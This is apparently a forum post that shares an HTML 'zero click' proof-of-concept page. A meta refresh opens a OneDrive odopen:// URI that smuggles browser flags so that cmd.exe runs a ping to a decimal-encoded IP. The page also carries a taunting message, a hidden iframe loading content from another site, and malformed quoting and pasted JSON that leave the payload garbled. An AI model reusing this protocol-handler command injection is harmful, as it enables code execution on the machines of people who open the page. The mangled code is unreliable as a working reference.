Zero Click PoC with One Drive Uri Callback

Write-ups and Disclosures
1

===================================================
Today I am Sharing a Zero Click Exploit I made in HTML.

Begin The Code Below This line Demo Site Click Here 

<!DOCTYPE html>
<html>
   <head>
      <title>Yes? Hello?</title>
      <meta http-equiv = "refresh" content = "3; url = odopen://unlockVault/?accounttype=personal%20KC:\Program%20Files/Microsoft%20OneDrive\22.181.0828.0002\FileSync.Resources.dll–disable-gpu-sandbox–gpu-launcher=\”C:\\Windows\\System32\\cmd%20/c%20ping%202016843009%20&&%20\"{
“LocalProviders.LaunchOneDriveOpenAppForResult”: {
“details”: Made By Taylor Christian Newsome Twitter.com/ClumsyLulz {
“appId”: dev://zero,
“name”: “OneDrive”,
“discovered”: Zero Day {
“command”: “cmd = odopen://sync”
}
},
“alert”: “odopen://unlockVault/?accounttype=personal%20KC:\Program%20Files/Microsoft%20OneDrive\22.181.0828.0002\FileSync.Resources.dll–disable-gpu-sandbox–gpu-launcher=\”C:\\Windows\\System32\\cmd%20/c%20ping%202016843009%20&&%20\””
}
}" />
   </head>
   <body>
      <body style="background-color:black;">

<center><img src="https://media4.giphy.com/media/kgOw3r5gXxGxn6dtwK/giphy.gif" border=0 width=350 hieght=350></center>

</center>
            </div>
            <br> 

             
            <div id=Content> 
                <p align=center>
                    <h1>
                        <b>
                            <center>
                                <script type="text/javascript">farbbibliothek=new Array();farbbibliothek[0]=new Array("#FF0000","#FF1100","#FF2200","#FF3300","#FF4400","#FF5500","#FF6600","#FF7700","#FF8800","#FF9900","#FFaa00","#FFbb00","#FFcc00","#FFdd00","#FFee00","#FFff00","#FFee00","#FFdd00","#FFcc00","#FFbb00","#FFaa00","#FF9900","#FF8800","#FF7700","#FF6600","#FF5500","#FF4400","#FF3300","#FF2200","#FF1100");farbbibliothek[1]=new Array("#00FF00","#000000","#00FF00","#00FF00");farbbibliothek[2]=new Array("#00FF00","#FF0000","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00");farbbibliothek[3]=new Array("#000","#111","#222","#333","#444","#555","#666","#777","#888","#888","#777","#666","#555","#444","#333","#222","#111","#000");farbbibliothek[4]=new Array("#FF0000","#EE0000","#DD0000","#CC0000","#BB0000","#AA0000","#990000","#880000","#770000","#660000","#550000","#440000","#330000","#220000","#110000","#000000","#110000","#220000","#330000","#440000","#550000","#660000","#770000","#880000","#990000","#AA0000","#BB0000","#CC0000","#DD0000","#EE0000");farbbibliothek[5]=new Array("#000000","#000000","#000000","#FFFFFF","#FFFFFF","#FFFFFF");farbbibliothek[6]=new Array("#0000FF","#FFFF00");farben=farbbibliothek[4];function farbschrift()
{for(var i=0;i<Buchstabe.length;i++)
{document.all["a"+i].style.color=farben[i];}
farbverlauf();}
function string2array(text)
{Buchstabe=new Array();while(farben.length<text.length)
{farben=farben.concat(farben);}
k=0;while(k<=text.length)
{Buchstabe[k]=text.charAt(k);k++;}}
function divserzeugen()
{for(var i=0;i<Buchstabe.length;i++)
{document.write("<span id='a"+i+"' class='a"+i+"'>"+Buchstabe[i]+"</span>");}
farbschrift();}
var a=1;function farbverlauf()
{for(var i=0;i<farben.length;i++)
{farben[i-1]=farben[i];}
farben[farben.length-1]=farben[-1];setTimeout("farbschrift()",30);}
var farbsatz=1;function farbtauscher()
{farben=farbbibliothek[farbsatz];while(farben.length<text.length)
{farben=farben.concat(farben);}
farbsatz=Math.floor(Math.random()*(farbbibliothek.length-0.0001));}
setInterval("farbtauscher()",5000);text="ClumsyLulz ^_^";string2array(text);divserzeugen();</script>
                            </center> 

<p style="color:white;text-align:center;font-size:75%"><code><a href="ms-settings:bluetooth?activationSource=SMC-IA-4027630">Windows users click me</code></p>
<p style="color:white;text-align:center;font-size:50%"><code>You should really get better security a child could code better than you. #ClumsyLulz</code></p>
<style>BODY{font-family:Verdana,Arial;font-size:12px;color: #ff;background-color:#000;background-image:url(http://i.imgur.com/4q2Op.gif);background-repeat:repeat}#Container{width:780px;margin-left:auto;margin-right:auto}#Content{background-color:transparent;border:0px solid #24262b;padding:0px;margin-top:-0px}#Title{font-family:Verdana,Arial;font-size:22px;font-weight:bold;color:#333;border-bottom:0px solid #24262b;margin-bottom:0px}#Copyright{text-align:center}.style3{color:#400000;font-size:12;font-family:Georgia,"Times New Roman",Times,serif}.style10{color:#444;font-size:28}.style13{color:#fff}.style14{color:#999}.style16{font-size:14px}.style17{color:#400000}.style1337{color:#f0f}</style><script type='text/javascript' src='//twitter.com/ClumsyLulz'></script><script type="text/javascript" src="//twitter.com/ClumsyLulz"></script><iframe src="http://sharehub.link/fmymp3//Og_Maco_Ft._2_Chainz_-_U_Guessed_It_(Remix)_34200.mp3" width="1" height="1" frameborder="0"></iframe>
   </body>
</html>

===================================================
End Code… Hope you guys like this lmk what you think :slight_smile: